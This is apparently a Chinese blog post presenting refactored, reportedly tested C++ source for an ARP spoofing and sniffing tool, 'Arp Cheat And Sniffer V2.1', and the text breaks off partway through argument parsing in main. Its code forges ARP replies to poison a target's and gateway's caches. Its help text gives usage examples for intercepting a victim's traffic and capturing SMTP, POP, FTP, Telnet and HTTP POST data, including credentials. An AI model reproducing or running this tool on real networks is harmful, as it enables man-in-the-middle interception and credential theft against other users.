局域网arpsniffer源码剖析

代码是别人写的,我重构了一下,加了点注释,亲测可用。

arp.h

#pragma once

//netbios服务根据ip解析MAC是需要用的结构体
typedef struct _ASTAT
{
	ADAPTER_STATUS adapt; 
	NAME_BUFFER    NameBuff[30]; 
} ASTAT, * PASTAT;

//ip-mac对应表
typedef struct _IPMACTABLE
{
	CString Ip;
	CString Mac;
}IPMACTABEL,*LIPMACTABLE;

//各个ip mac对应信息表
typedef struct _ALLIPMACTABLE
{
	struct _IPMACTABLE my;           					//自身ip,mac信息
	struct _IPMACTABLE cheattag;     					//被欺骗对象信息
	struct _IPMACTABLE cheatsrc;     					//欺骗源对象信息 --- 欺骗源不一定是自己,可以冒充别人进行欺骗
	struct _IPMACTABLE realcheatsrc; 					//欺骗源真实信息 
	struct _IPMACTABLE gateway;      					//网关ip,mac信息
}ALLIPMACTABLE,*LALLIPMACTABLE;

//网卡信息
typedef struct tagAdapterInfo          
{
	char	szDeviceName[128];							// 名字
	char	szIPAddrStr[16];							// IP
	char	szHWAddrStr[18];							// MAC
	DWORD	dwIndex;									// 编号          
}INFO_ADAPTER, *PINFO_ADAPTER;

//========================code from refdom===================================//
#define EPT_IP		 0x0800			/* type: IP	*/
#define EPT_ARP		 0x0806			/* type: ARP */
#define EPT_RARP	 0x8035			/* type: RARP */

#define ARP_HARDWARE 0x0001			/* Dummy type for 802.3 frames  */
#define	ARP_REQUEST	 0x0001			/* ARP request */
#define	ARP_REPLY	 0x0002			/* ARP reply */

#pragma pack(push, 1)//取消内存大小自动对齐
typedef struct _ehhdr 
{
	unsigned char	eh_dst[6];		/* destination ethernet addrress */
	unsigned char	eh_src[6];		/* source ethernet addresss */
	unsigned short	eh_type;		/* ethernet pachet type	*/
}EHHDR, *PEHHDR;

typedef struct _arphdr
{
	unsigned short	arp_hrd;			/* format of hardware address */
	unsigned short	arp_pro;			/* format of protocol address */
	unsigned char	arp_hln;			/* length of hardware address */
	unsigned char	arp_pln;			/* length of protocol address */
	unsigned short	arp_op;				/* ARP/RARP operation */

	unsigned char	arp_sha[6];			/* sender hardware address */
	unsigned long	arp_spa;			/* sender protocol address */
	unsigned char	arp_tha[6];			/* target hardware address */
	unsigned long	arp_tpa;			/* target protocol address */
	//	unsigned char   arp_padding[18];
}ARPHDR, *PARPHDR;

//ARP数据包
typedef struct _arpPacket
{
	EHHDR	ehhdr;
	ARPHDR	arphdr;
} ARPPACKET, *PARPPACKET;
#pragma pack(pop)
//========================code from refdom end===================================//

arp.cpp

/*=============================================================
Arp cheat and sniffer V2.1
powered by shadow 2005/7/12
myweb:http://www.codehome.6600.org
part code from Refdom and PiggyXp!
Thanks for Refdom:refdom@263.net|http://www.opengram.com/
Thanks for PiggyXp web:http://blog.csdn.net/piggyxp/
Note:
修复了2003下不能正常获得adapter list的bug和单双向欺骗流程!
优化了数据包分析代码,提高了处理速度,修复欺骗发包问题!
优化包处理流程,修复了包处理的bug,修复监视线程bug。
=============================================================*/

#include "stdafx.h"
#include <Iphlpapi.h>
#include "packet32.h"
#include "ntddndis.h"
#include "mac.h"
#include "conio.h"
#include "SNIFFER.h"
#include "nb30.h" 
#include "PcInfor.h"
#include "arp.h"

//关闭运行时异常检查
#pragma runtime_checks( "", off )

#ifndef CHEAT_INFO
#define CHEAT_INTO		0
#define ONLY_CHEAT		1
#define CHEAT_AND_SNIFF 2
#define CHEAT_SEND_TIME 60
#endif

#pragma comment(lib,"netapi32.lib") 
#pragma comment(lib,"packet.lib")
#pragma comment(lib,"Iphlpapi.lib")
#pragma warning(disable:4996)

//全局变量
SNIFFER					rsniffer;												//抓包功能类对象
INFO_ADAPTER			MyAdapterList[10];										//第一种方式列出网卡的的列表
USERINFO				sniffuserinfo;											//用户配置信息
ALLIPMACTABLE			AllIpMacTable;											//所有IP-MAC表
PcInfor					mypcinfo;												//本机计算机信息
char					MyMac[6],TagMac[6],GateMac[6];							//三个网卡地址
int						RunType=0;												//CHEAT_INTO,ONLY_CHEAT,CHEAT_AND_SNIFF
unsigned long			LostPacket,LastSendTime,StartTime,EndTime;

#define Max_Adapter_Num 10														//网卡列表
char AdapterList[Max_Adapter_Num][1024];										//第二种方式列出网卡的的列表

int IsInvalidPacket(char *buff);												//区分数据包类型
void RebuildPacketAndRedirect(LPADAPTER lpAdapter,LPPACKET lpPacket,int type,long packlen,char *buff);
int PacketIsCheatPacket(char *buff);

//获取系统时间
CString GetCurrentSystemTime()
{
	SYSTEMTIME systemtime;
	GetSystemTime(&systemtime);
	CString datetime;
	datetime.Format("%d-%d-%d %d:%d:%d",systemtime.wYear,systemtime.wMonth,systemtime.wDay,systemtime.wHour,systemtime.wMinute,systemtime.wSecond);
	return datetime;
}

//输出用户定义信息到文件
void WriteUserDefine()
{
	FILE *fsniffer;
	fsniffer=fopen(sniffuserinfo.SnifferDataPath,"ab+");
	if(fsniffer==NULL) return;

	fprintf(fsniffer,"\r\n=============================================================================================\r\n");
	fprintf(fsniffer,"Arp Cheat And Sniffer V2.1 \r\npowered by shadow @2005/7/15\r\nMy web:http://www.codehome.6600.org\r\n");
	fprintf(fsniffer,"Has bugs please mail to me:dreamshadow@mail.sdu.edu.cn\r\n");
	fprintf(fsniffer,">>This is user define:\r\n");
	fprintf(fsniffer,"Protocol:  [%s]\r\n",sniffuserinfo.ProtoType);
	fprintf(fsniffer,"Source IP: [%-18s]\t\tSource Port: [%s]\r\n",sniffuserinfo.sourceip,sniffuserinfo.sourceport);
	fprintf(fsniffer,"Dest   IP: [%-18s]\t\tDest   Port: [%s]\r\n",sniffuserinfo.destip,sniffuserinfo.destport);
	
	fprintf(fsniffer,"Sniff SMTP:\t");
	if(sniffuserinfo.SmtpSniffStart) 
		fprintf(fsniffer,"true\r\n");
	else 
		fprintf(fsniffer,"false\r\n");
	
	fprintf(fsniffer,"Sniff POP:\t");
	if(sniffuserinfo.PopSniffStart) 
		fprintf(fsniffer,"true\r\n");
	else 
		fprintf(fsniffer,"false\r\n");
	
	fprintf(fsniffer,"Sniff FTP:\t");
	if(sniffuserinfo.FtpSniffStart) 
		fprintf(fsniffer,"true\r\n");
	else 
		fprintf(fsniffer,"false\r\n");
	
	fprintf(fsniffer,"Sniff Telnet:\t");
	if(sniffuserinfo.TelnetSniffStart) 
		fprintf(fsniffer,"true\r\n");
	else 
		fprintf(fsniffer,"false\r\n");
	
	fprintf(fsniffer,"Sniff POST:\t");
	if(sniffuserinfo.PostSniffStart) 
		fprintf(fsniffer,"true\r\n");
	else 
		fprintf(fsniffer,"false\r\n");
	
	fprintf(fsniffer,"Sniff PACKET:\t");
	if(sniffuserinfo.PacketSniffStart) 
		fprintf(fsniffer,"true\r\n");
	else 
		fprintf(fsniffer,"false\r\n");
	
	fprintf(fsniffer,"Sniff Filter:\t");
	if(sniffuserinfo.Filter) 
		fprintf(fsniffer,"[true]\r\n");
	else 
		fprintf(fsniffer,"[false]\r\n");
	
	fprintf(fsniffer,"Sniff Way:\t");
	if(sniffuserinfo.Way) fprintf(fsniffer,"si->di\r\n");
	else fprintf(fsniffer,"si<->di\r\n");
	
	fprintf(fsniffer,"Sniff Mode:\t");
	if(sniffuserinfo.HighSniff) 
		fprintf(fsniffer,"high\r\n");
	else 
		fprintf(fsniffer,"low\r\n");
	
	fprintf(fsniffer,"Sniff TimeOut:\t[%d] seconds\r\n",sniffuserinfo.timeout);
	fprintf(fsniffer,"Save File Path:\t[%s]\r\n",sniffuserinfo.SnifferDataPath);
	fprintf(fsniffer,"Max  File Len :\t[%d] M\r\n",sniffuserinfo.MaxData);
	fprintf(fsniffer,"Save File Mode:\t");
	if(sniffuserinfo.OutputByHex) 
		fprintf(fsniffer,"[HEX]\r\n");
	else 
		fprintf(fsniffer,"[ASC]\r\n");
	fprintf(fsniffer,"Sniff Start At %s\r\n=============================================================================================\r\n",GetCurrentSystemTime());
	
	fclose(fsniffer);
}

//显示用户定义信息
void ShowUserDefine()
{     
	printf(">>This is user define:\r\n");
	printf("Protocol:  [%s]\r\n",sniffuserinfo.ProtoType);
	printf("Source IP: [%-18s]\t\tSource Port: [%s]\r\n",sniffuserinfo.sourceip,sniffuserinfo.sourceport);
	printf("Dest   IP: [%-18s]\t\tDest   Port: [%s]\r\n",sniffuserinfo.destip,sniffuserinfo.destport);
	
	printf("Sniff SMTP:\t");
	if(sniffuserinfo.SmtpSniffStart) 
		printf("[true]\r\n");
	else 
		printf("[false]\r\n");
	
	printf("Sniff POP:\t");
	if(sniffuserinfo.PopSniffStart)
		printf("[true]\r\n");
	else 
		printf("[false]\r\n");
	
	printf("Sniff FTP:\t");
	if(sniffuserinfo.FtpSniffStart) 
		printf("[true]\r\n");
	else 
		printf("[false]\r\n");
	
	printf("Sniff Telnet:\t");
	if(sniffuserinfo.TelnetSniffStart)
		printf("[true]\r\n");
	else 
		printf("[false]\r\n");
	
	printf("Sniff POST:\t");
	if(sniffuserinfo.PostSniffStart) 
		printf("[true]\r\n");
	else 
		printf("[false]\r\n");
	
	printf("Sniff PACKET:\t");
	if(sniffuserinfo.PacketSniffStart)
		printf("[true]\r\n");
	else 
		printf("[false]\r\n");
	
	printf("Sniff Filter:\t");
	if(sniffuserinfo.Filter) 
		printf("[true]\r\n");
	else 
		printf("[false]\r\n");
	
	printf("Sniff Way:\t");
	if(sniffuserinfo.Way) 
		printf("[si->di]\r\n");
	else 
		printf("[si<->di]\r\n");
	
	printf("Sniff Mode:\t");
	if(sniffuserinfo.HighSniff) 
		printf("[high]\r\n");
	else 
		printf("[low]\r\n");

	printf("Sniff TimeOut:\t[%d] seconds\r\n",sniffuserinfo.timeout);
	printf("Save File Path:\t[%s]\r\n",sniffuserinfo.SnifferDataPath);
	printf("Max  File Len :\t[%d] M\r\n",sniffuserinfo.MaxData);
	printf("Save File Mode:\t");
	if(sniffuserinfo.OutputByHex) 
		printf("[HEX]\r\n");
	else 
		printf("[ASC]\r\n");
}

//显示帮助
void ShowHelp()
{
	printf("\r\n================================================================================\r\n");
	printf("\t\tArp Cheat And Sniffer V2.1\r\n\t\tPowered by shadow @2005/7/15\r\n\t\tmy web:http://www.codehome.6600.org\r\n\t\tHas bugs please mail to:dreamshadow@mail.sdu.edu.cn\r\n");
	printf("\r\n================================================================================\r\n");
	printf("Usage:\r\n");
	printf("-si \t\t\t源ip\n-di \t\t\t目的ip       *代表所有,多项用,号分割\r\n");
	printf("-sp \t\t\t源端口\n-dp \t\t\t目的端口     *代表所有\r\n");
	printf("-w  \t\t\t嗅探方式,1代表单向嗅探[si->di],0代表双向嗅探[si<->di]\r\n");
	printf("-p  \t\t\t嗅探协议[TCP,UDP,ICMP]大写\r\n");
	printf("-m  \t\t\t最大记录文件,以M为单位\r\n");
	printf("-o  \t\t\t文件输出\r\n");
	printf("-hex \t\t\t十六进制输出到文件\r\n");
	printf("-unecho \t\t不回显 \r\n");
	printf("-auto \t\t\t不提问 \r\n");
	printf("-choosetype \t\t网卡获取类型,默认是1 \r\n");
	printf("-index  \t\t网卡号,默认是0 \r\n");
	printf("-unfilter \t\t不过虑0字节数据包\r\n");
	printf("-low \t\t\t粗略嗅探,丢包率高,cpu利用率低 基本0%\r\n");
	printf("-timeout \t\t嗅探超时,除非网络状况比较差否则请不要调高,默认为120秒\r\n");
	printf("-sniffsmtp\t\t嗅探smtp\r\n");
	printf("-sniffpop\t\t嗅探pop\r\n");
	printf("-sniffpost\t\t嗅探post\r\n");
	printf("-sniffftp\t\t嗅探ftp\r\n");
	printf("-snifftelnet\t\t嗅探telnet,以上5个嗅探不受参数si,sp,di,dp,w,p影响.\r\n");
	printf("-sniffpacket\t\t规则嗅探数据包,受参数si,sp,di,dp,w,p影响.\r\n");
	printf("-sniffall\t\t开启所有嗅探\r\n");
	printf("-onlycheat \t\t只欺骗\n-cheatsniff \t\t欺骗并且嗅探\n-reset  \t\t欺骗后恢复\n");
	printf("-g \t\t\t[网关ip]\n-c \t\t\t[欺骗者ip] [mac]\n-t \t\t\t[受骗者ip]\n-time \t\t\t[欺骗次数]\n");
	printf("Example:\r\n");
	printf(" arpsniffer -p TCP -dp 25,110 -o f:\\1.txt -m 1 -sniffpacket\r\n   嗅探指定规则数据抱并保存到文件\r\n");
	printf(" arpsniffer -sniffall -cheatsniff -t 127.0.0.1 -g 127.0.0.254\r\n   欺骗并且开启所有嗅探,输出到屏幕\r\n");
	printf(" arpsniffer -onlycheat -t 127.0.0.1 -c 127.0.0.2 002211445544 -time 100 -reset\r\n   对目标欺骗一百次,欺骗后恢复\r\n");
	printf("Note:\n\tProgram for 阿黛,I am very sorry for do this so late.Forgive me~~ :)\r\n"); 
}

/获取网卡详细信息---结束///
//code from PiggyXp web:http://blog.csdn.net/piggyxp/
int GetAdapterListFromIpHelp()
{
	char tempChar;
	ULONG uListSize=1;
	PIP_ADAPTER_INFO pAdapter;           // 定义PIP_ADAPTER_INFO结构存储网卡信息
	int nAdapterIndex = 0;

	DWORD dwRet = GetAdaptersInfo((PIP_ADAPTER_INFO)&tempChar, &uListSize);//关键函数
	printf("\r\nTry to get adapter list by iphelpapi...\r\n");
	if (dwRet == ERROR_BUFFER_OVERFLOW)
	{
		PIP_ADAPTER_INFO pAdapterListBuffer = (PIP_ADAPTER_INFO)new(char[uListSize]);
		dwRet = GetAdaptersInfo(pAdapterListBuffer, &uListSize);
		if (dwRet == ERROR_SUCCESS)
		{
			pAdapter = pAdapterListBuffer;
			while (pAdapter)                                              // 枚举网卡然后将相关条目添加到List中
			{
				// 网卡名字
				CString strTemp = pAdapter->AdapterName;                     
				strTemp = "\\Device\\NPF_" + strTemp;                        // 加上前缀              
				strcpy(MyAdapterList[nAdapterIndex].szDeviceName,strTemp);
				// IP
				strcpy(MyAdapterList[nAdapterIndex].szIPAddrStr,
					pAdapter->IpAddressList.IpAddress.String );
				// MAC
				//formatMACToStr( MyAdapterList[nAdapterIndex].szHWAddrStr, pAdapter->Address );
				// 网卡编号
				MyAdapterList[nAdapterIndex].dwIndex = pAdapter->Index;          
				pAdapter = pAdapter->Next;
				nAdapterIndex ++;
			}
			delete pAdapterListBuffer;
		}
		return nAdapterIndex;
	}
	return 0;
}

//========================  code from winpcap ===================================//
//从注册表中读取网卡名
int GetAdapterList()
{
	printf("\r\nTry to get adapter list by winpcap driver...\r\n");
	DWORD dwVersion;
	DWORD dwWindowsMajorVersion;
	memset((void *)AdapterList,0,sizeof(AdapterList));

	//unicode strings (winnt)
// 	WCHAR		AdapterName[8192]; // string that contains a list of the network adapters
// 	WCHAR		*temp,*temp1;

	char		AdapterName[8192]; // string that contains a list of the network adapters
	char		*temp,*temp1;

	//ascii strings (win95)
	char		AdapterNamea[8192]; // string that contains a list of the network adapters
	char		*tempa,*temp1a;

	int			AdapterNum=0;
	ULONG		AdapterLength;
	int i=0;	
	ZeroMemory((void *)AdapterName,sizeof(AdapterName));
	ZeroMemory((void *)AdapterNamea,sizeof(AdapterNamea));
	// the data returned by PacketGetAdapterNames is different in Win95 and in WinNT.
	// We have to check the os on which we are running
	dwVersion=GetVersion();
	dwWindowsMajorVersion =  (DWORD)(LOBYTE(LOWORD(dwVersion)));
	if (!(dwVersion >= 0x80000000 && dwWindowsMajorVersion >= 4))
	{  // Windows NT
		AdapterLength = sizeof(AdapterName);

		if(PacketGetAdapterNames((char *)AdapterName,&AdapterLength)==FALSE)
		{
			printf("Unable to retrieve the list of the adapters!\n");
			return -1;
		}
		temp=AdapterName;
		temp1=AdapterName;
		while ((*temp!='\0')||(*(temp-1)!='\0'))
		{
			if (*temp=='\0') 
			{
				memcpy(AdapterList[i], temp1, temp-temp1);
				temp1 = temp+1;
				i++;
			}
			temp++;
		}	  
		AdapterNum=i;		
		printf("Windows ver is NT\n");
	}

	else	//windows 95
	{
		AdapterLength = sizeof(AdapterNamea);

		if(PacketGetAdapterNames(AdapterNamea,&AdapterLength)==FALSE)
		{
			printf("Unable to retrieve the list of the adapters!\n");
			return -1;
		}
		tempa=AdapterNamea;
		temp1a=AdapterNamea;

		while ((*tempa!='\0')||(*(tempa-1)!='\0'))
		{
			if (*tempa=='\0') 
			{
				memcpy(AdapterList[i],temp1a,tempa-temp1a);
				temp1a=tempa+1;
				i++;
			}
			tempa++;
		}		  
		AdapterNum=i;
		printf("Windows ver is 98\n");
	} 
	return AdapterNum;
}
/获取网卡详细信息---结束///

//打印抓取的数据包
void PrintPackets(LPADAPTER lpAdapter,LPPACKET lpPacket)
{

	ULONG	ulBytesReceived;
	char	*pChar,*base;
	char	*buf;
	u_int tlen1,off=0;
	struct bpf_hdr *hdr;	
	ulBytesReceived = lpPacket->ulBytesReceived;
	buf =(char *)lpPacket->Buffer;
	off=0;
	if(off<ulBytesReceived)
	{	
		hdr=(struct bpf_hdr *)(buf+off);
		tlen1=hdr->bh_datalen;
		off+=hdr->bh_hdrlen;
		pChar =(char*)(buf+off);
		//=======================================my check code (no use)=================================//
		base=pChar;
		if(RunType==CHEAT_AND_SNIFF&&IsInvalidPacket(base)) return;
		if(rsniffer.AnalysePacket(base+14)&&RunType==CHEAT_AND_SNIFF)
			RebuildPacketAndRedirect(lpAdapter,lpPacket,PacketIsCheatPacket(base),tlen1,base);
		return; 
	}
}
//========================  code from winpcap end ===============================//

//构造ARP数据包
int SetArpPacket(PARPPACKET pArppacket,CString receiveip,CString receivemac,CString fakesendip,CString fakesendmac,CString realsendmac)
{
	char MacAddr[6];
	if (!GetMacAddr(receivemac, MacAddr))
	{
		printf ("Get Mac address error!\n");
		return 0;
	}
	memcpy(pArppacket->ehhdr.eh_dst, MacAddr, 6);    //目的MAC地址。(A的地址)
	if (!GetMacAddr(realsendmac, MacAddr))
	{
		printf ("Get Mac address error!\n");
	}
	memcpy(pArppacket->ehhdr.eh_src, MacAddr, 6);    //源MAC地址
	pArppacket->ehhdr.eh_type = htons(EPT_ARP);

	pArppacket->arphdr.arp_hrd = htons(ARP_HARDWARE);
	pArppacket->arphdr.arp_pro = htons(EPT_IP);
	pArppacket->arphdr.arp_hln = 6;
	pArppacket->arphdr.arp_pln = 4;
	pArppacket->arphdr.arp_op  = htons(ARP_REPLY);

	if (!GetMacAddr(fakesendmac, MacAddr))
	{
		printf ("Get Mac address error!\n");
		return 0;
	}
	memcpy(pArppacket->arphdr.arp_sha, MacAddr, 6);    //伪造的C的MAC地址
	pArppacket->arphdr.arp_spa = inet_addr(fakesendip);   //C的IP地址

	if (!GetMacAddr(receivemac, MacAddr))
	{
		printf ("Get Mac address error!\n");
		return 0;
	}
	memcpy(pArppacket->arphdr.arp_tha , MacAddr, 6);  //目标A的MAC地址
	pArppacket->arphdr.arp_tpa = inet_addr(receiveip);   //目标A的IP地址
	return 1;
}

//发送ARP数据包
//参数四:欺骗目标的IP和MAC(都是真实的)
//参数五:告诉被欺骗者的内容,某某IP对应某某MAC,(IP和MAC最少有一个是假的)
int SendArpPacket(int times, LPADAPTER lpAdapter, LPPACKET lpPacket, LIPMACTABLE tag, LIPMACTABLE src)
{
	//构造ARP数据包
	ARPPACKET ArpPacket;
	char SZbuff[600];
	ZeroMemory(SZbuff,sizeof(SZbuff));
	int errcode=SetArpPacket(&ArpPacket,tag->Ip,tag->Mac,src->Ip,src->Mac,src->Mac);
	if(!errcode)
	{
		printf("set packet error!\n");
		return 0;
	}
	memcpy(SZbuff,(char *)&ArpPacket,sizeof(ArpPacket));

	PacketInitPacket(lpPacket, SZbuff, 60);
	int j=0;

	//死循环的发送
	if(times==0)
	{
		while(true)
		{
			//kbhit函数:检查当前是否有键盘输入,若有则返回一个非0值,否则返回0
			if(kbhit()) return j;
			if(PacketSendPacket(lpAdapter, lpPacket, TRUE) == FALSE) return j;
			if(sniffuserinfo.Echo) printf(".");
			j++;
			Sleep(50);
		}
	}

	//有次数的发送
	for(j=0;j<times;j++)
	{
		if(PacketSendPacket(lpAdapter, lpPacket, TRUE) == FALSE) break;
		if(sniffuserinfo.Echo) printf(".");
		Sleep(50);
	}
	return j;
}

//利用ICMP协议和arp协议获取mac
void GetMacByBat(CString ip, CString &mac)
{
	printf("\r\n-Can not get mac by netbios -_-\r\n-Try to use ping to get mac...\r\n");
	mac="000000000000";
	FILE *bat=fopen("mac.bat","wb");
	if(bat==NULL) return;
	fputs("@echo off\r\n",bat);
	fputs("ping "+ip+"\r\n",bat);
	fputs("arp -a|find \""+ip+"\">mac.txt\r\n",bat);
	fputs("exit\r\n",bat);
	fclose(bat);
	system("mac.bat");
	remove("mac.bat");
	printf("\r\n+ping ok done...\r\n\r\n");
	bat=fopen("mac.txt","r");
	if(bat==NULL) return;
	char str[MAX_PATH],macstr[18];
	fgets(str,sizeof(str),bat);
	fclose(bat);
	remove("mac.txt");
	ZeroMemory(macstr,sizeof(macstr));
	sscanf(&str[2],ip+"         %s     ",macstr);
	if(strlen(macstr)!=17) return;
	mac.Format("%s",macstr);
	mac.Replace("-","");
	TRACE(mac);
}

//对没有开启netbios服务,或者有防火墙,或者是网关都无法获取mac地址
//根据IP获取MAC
void GetMacAddress(CString sNetBiosName, CString &sMacAddress) 
{
	ASTAT Adapter; 
	NCB ncb;                        								// NCB结构体,用于设置执行的NetBIOS命令和参数  
	UCHAR uRetCode;                 								// 执行Netbios()函数的返回值  
	memset( &ncb, 0, sizeof(ncb) ); 								// 初始化ncb结构体  
	ncb.ncb_command = NCBRESET;     								// 设置执行NCBRESET,复位网络适配器  
	ncb.ncb_lana_num = 0;           								// 设置LANA编号  
	uRetCode = Netbios( &ncb );     								// 调用Netbios()函数,执行NCBRESET命令  

	memset( &ncb, 0, sizeof(ncb) ); 								// 初始化ncb  
	ncb.ncb_command = NCBASTAT;     								// 执行NCBASTAT命令,获取网络适配器状态  
	ncb.ncb_lana_num = 0;           								// 设置LANA编号 

	sNetBiosName.MakeUpper(); 
	FillMemory(ncb.ncb_callname, NCBNAMSZ - 1, 0x20); 

	strcpy((char *)ncb.ncb_callname, (LPSTR)(LPCTSTR) sNetBiosName); 

	ncb.ncb_callname[sNetBiosName.GetLength()] = 0x20; 
	ncb.ncb_callname[NCBNAMSZ - 1] = 0x0; 

	ncb.ncb_buffer = (unsigned char *) &Adapter; 
	ncb.ncb_length = sizeof(Adapter); 

	uRetCode = Netbios(&ncb); 
	sMacAddress="000000000000"; 
	if (uRetCode == 0) 
	{ 
		sMacAddress.Format(_T("%02x%02x%02x%02x%02x%02x"), 
			Adapter.adapt.adapter_address[0], 
			Adapter.adapt.adapter_address[1], 
			Adapter.adapt.adapter_address[2], 
			Adapter.adapt.adapter_address[3], 
			Adapter.adapt.adapter_address[4], 
			Adapter.adapt.adapter_address[5]); 
	} 
	else
	{
		//利用ICMP协议和ARP协议获取mac
		GetMacByBat(sNetBiosName, sMacAddress);
	}
}

//设置ip,mac
bool SetIpMacInfo(CString ip,LIPMACTABLE pipmac)
{	
	//获取ip对应的MAC地址
	pipmac->Ip=ip;
	printf("Try to get Mac of \t[ %s ]\r\n",ip);
	GetMacAddress(ip, pipmac->Mac);
	printf("This IP's MAc is: \t[ %s ]\r\n",pipmac->Mac);
	
	if(pipmac->Mac=="000000000000") 
		return false;
	else 
		return true;
}

//MAC地址加"-"
CString ConvertMacToStr(CString mac)
{
	CString temp="";
	for(int i=1;i<=6;i++){
		temp=temp+mac.Left(2)+"-";
		mac=mac.Right(mac.GetLength()-2);
	}
	temp=temp.Left(temp.GetLength()-1);
	return temp;
}

//在欺骗开始前设置静态的ip,mac对应表,否则会导致本机上不了网
bool SetStaticIpMac(CString tagip,CString tagmac,CString gateip,CString gatemac)
{
	CString str="";
	/*
	arp -s 命令在WIN7下面已经失去效用,欺骗之前要手工绑定

	WIN7下绑定的方法:
	第一步查询网卡IDX号:netsh i i sh in
	第二步绑定:netsh interface ipv4 set neighbors 11 "192.168.0.1" "c8-d3-a3-02-97-56" store=persistent
	*/
// 	str="@arp -s "+tagip+" "+ConvertMacToStr(tagmac)+"\r\n";
// 	str+="@arp -s "+gateip+" "+ConvertMacToStr(gatemac)+"\r\n";

	str="netsh interface ipv4 set neighbors 11 \"" + tagip + "\" \"" + ConvertMacToStr(tagmac) + "\" store=persistent" + "\r\n";
	str+="netsh interface ipv4 set neighbors 11 \"" + gateip + "\" \"" + ConvertMacToStr(gatemac) + "\" store=persistent" + "\r\n";

	str+="@exit\r\n";
	FILE *fout;
	fout=fopen("macset.bat","wb+");
	if(fopen==NULL) return false;
	fputs(str,fout);
	fclose(fout);
	system("macset.bat");
	remove("macset.bat");
	return true;
}

//截获的是欺骗发过来的包并判断是哪个发过来的
int PacketIsCheatPacket(char *buff)
{
	if(memcmp(buff, MyMac, 6) == 0)
	{
		if(memcmp(buff+6, TagMac, 6) == 0) return 1;
		if(memcmp(buff+6, GateMac, 6) == 0) return 2;
	}
	return 0;
}

void RebuildPacketAndRedirect(struct _ADAPTER *,struct _PACKET *,int,long,char *)
{

}

//在欺骗嗅探方式下该包是否是有效包
int IsInvalidPacket(char *buff)
{
	//
	//分析数据包的来源和目的地:
	//buff前6个字节是数据包目标MAC地址,7-12字节代表来源MAC地址
	//

	//申请缓冲区储放MAC地址
	char MacAddr[6];

	//数据包的目的地不是本地,返回0
	GetMacAddr(AllIpMacTable.my.Mac, MacAddr);
	if(memcmp(buff, MacAddr, 6) != 0) 
		return 0;

	//数据包的来源是欺骗目标,返回1
	GetMacAddr(AllIpMacTable.cheattag.Mac, MacAddr);
	if(memcmp(buff+6, MacAddr, 6) == 0) 
		return 1;

	//数据包的来源是网关,返回2
	GetMacAddr(AllIpMacTable.gateway.Mac, MacAddr);
	if(memcmp(buff+6, MacAddr, 6) == 0) 
		return 2;

	return 0;
}

//获取当前时间(单位:秒)
unsigned long GetCurrentTimeSeconds()
{
	SYSTEMTIME systemtime;
	GetSystemTime(&systemtime);
	return systemtime.wHour*3600+systemtime.wMinute*60+systemtime.wSecond;
}


//程序入口
int main(int argc, char* argv[])
{
	//
	//测试代码
	//getch();
	//

	ULONG													ulBytesReceived;
	bool													AutoStart=false;
	struct bpf_hdr											*hdr;
	int														adaptercount,choosetype=1;
	int														index=0;								//选择的第几块网卡

	//丢包
	LostPacket=0;

	//获取本地信息
	mypcinfo.GetPcSystemInfo();
	mypcinfo.GetLocalIp();
	AllIpMacTable.my.Ip=mypcinfo.SystemInfo.IP;

	sniffuserinfo.PopSniffStart=false;
	sniffuserinfo.PacketSniffStart=false;
	sniffuserinfo.PostSniffStart=false;
	sniffuserinfo.TelnetSniffStart=false;
	sniffuserinfo.FtpSniffStart=false;
	sniffuserinfo.LogData=false;
	sniffuserinfo.Echo=true;
	sniffuserinfo.OutputByHex=false;
	sniffuserinfo.HighSniff=true;
	sniffuserinfo.Filter=true;
	sniffuserinfo.sourceip="*";
	sniffuserinfo.sourceport="*";
	sniffuserinfo.destip="*";
	sniffuserinfo.destport="*";
	sniffuserinfo.ProtoType="*";
	sniffuserinfo.Way=0;
	sniffuserinfo.MaxData=10;
	sniffuserinfo.timeout=120;
	strcpy(sniffuserinfo.SnifferDataPath,"my.txt");
	int CheatTime=0,ReSet=0;

	//显示帮助
	if(argc<=1 || strcmp(argv[1],"-help")==0 )
	{
		system("cls");
		ShowHelp();
		return 0;
	}
	
	//参数提取,未加错误检测代码
	for(int i=1; i<argc; i++)
	{    
		if(strcmp(argv[i],"-sniffsmtp")==0 || strcmp(argv[i],"-sniffall") ==0 ) sniffuserinfo.SmtpSniffStart=true;
		if(strcmp(argv[i],"-sniffpop")==0 || strcmp(argv[i],"-sniffall")==0) sniffuserinfo.PopSniffStart=true;
		if(strcmp(argv[i],"-sniffpost")==0 || strcmp(argv[i],"-sniffall")==0) sniffuserinfo.PostSniffStart=true;
		if(strcmp(argv[i],"-snifftelnet")==0||strcmp(argv[i],"-sniffall")==0) sniffuserinfo.TelnetSniffStart=true;
		if(strcmp(argv[i],"-sniffftp")==0 || strcmp(argv[i],"-sniffall")==0) sniffuserinfo.FtpSniffStart=true;
		if(strcmp(argv[i],"-sniffpacket")==0 || strcmp(argv[i],"-sniffall")==0) sniffuserinfo.PacketSniffStart=true;
		if(strcmp(argv[i],"-low")==0) sniffuserinfo.HighSniff=false;
		if(strcmp(argv[i],"-hex")==0) sniffuserinfo.OutputByHex=true;
		if(strcmp(argv[i],"-unecho")==0) sniffuserinfo.Echo=false;
		if(strcmp(argv[i],"-unfilter")==0) sniffuserinfo.Filter=false;
		if(strcmp(argv[i],"-timeout")==0) sniffuserinfo.timeout=atoi(argv[++i]);
		if(strcmp(argv[i],"-p")==0) sniffuserinfo.ProtoType.Format("%s",argv[++i]);
		if(strcmp(argv[i],"-si")==0) sniffuserinfo.sourceip.Format("%s",argv[++i]);
		if(strcmp(argv[i],"-sp")==0) sniffuserinfo.sourceport.Format("%s",argv[++i]);
		if(strcmp(argv[i],"-di")==0) sniffuserinfo.destip.Format("%s",argv[++i]);
		if(strcmp(argv[i],"-dp")==0) sniffuserinfo.destport.Format("%s",argv[++i]);
		if(strcmp(argv[i],"-w")==0) sniffuserinfo.Way=atoi(argv[++i]);
		if(strcmp(argv[i],"-m")==0) sniffuserinfo.MaxData=atoi(argv[++i]);
		if(strcmp(argv[i],"-choosetype")==0) choosetype=atoi(argv[++i]);
		if(strcmp(argv[i],"-index")==0) index=atoi(argv[++i]);
		if(strcmp(argv[i],"-reset")==0) ReSet=1;
		if(strcmp(argv[i],"-auto")==0) AutoStart=true;
		if(strcmp(argv[i],"-o")==0)
		{
			strcpy(sniffuserinfo.SnifferDataPath,argv[++i]);
			sniffuserinfo.LogData=true;
		}
		if(strcmp(argv[i],"-onlycheat")==0) RunType=ONLY_CHEAT;
		if(strcmp(argv[i],"-cheatsniff")==0) RunType=CHEAT_AND_SNIFF;
		if(strcmp(argv[i],"-t")==0) AllIpMacTable.cheattag.Ip.Format("%s",argv[++i]);
